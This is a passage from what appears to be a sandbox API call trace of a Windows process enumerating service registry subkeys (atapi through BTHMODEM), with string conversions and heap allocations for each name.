Flags=0x8, Size=0x40) returned 0x21f1928 [0241.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.630] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0241.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0241.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.630] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0241.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0241.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0241.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.630] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0241.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0241.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.631] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0241.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0241.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.631] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0241.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0241.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.631] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0241.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0241.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.631] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0241.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0241.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.632] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0241.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0241.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.632] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0241.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0241.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.632] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0241.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0241.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.633] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0241.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0241.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.633] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0241.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0241.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.633] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0241.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0241.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.633] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0241.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0241.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.634] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0241.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0241.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.634] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0241.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0241.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.634] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0241.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0241.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.634] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0241.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0241.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.635] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0241.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0241.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.635] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0241.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0241.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.635] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0241.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 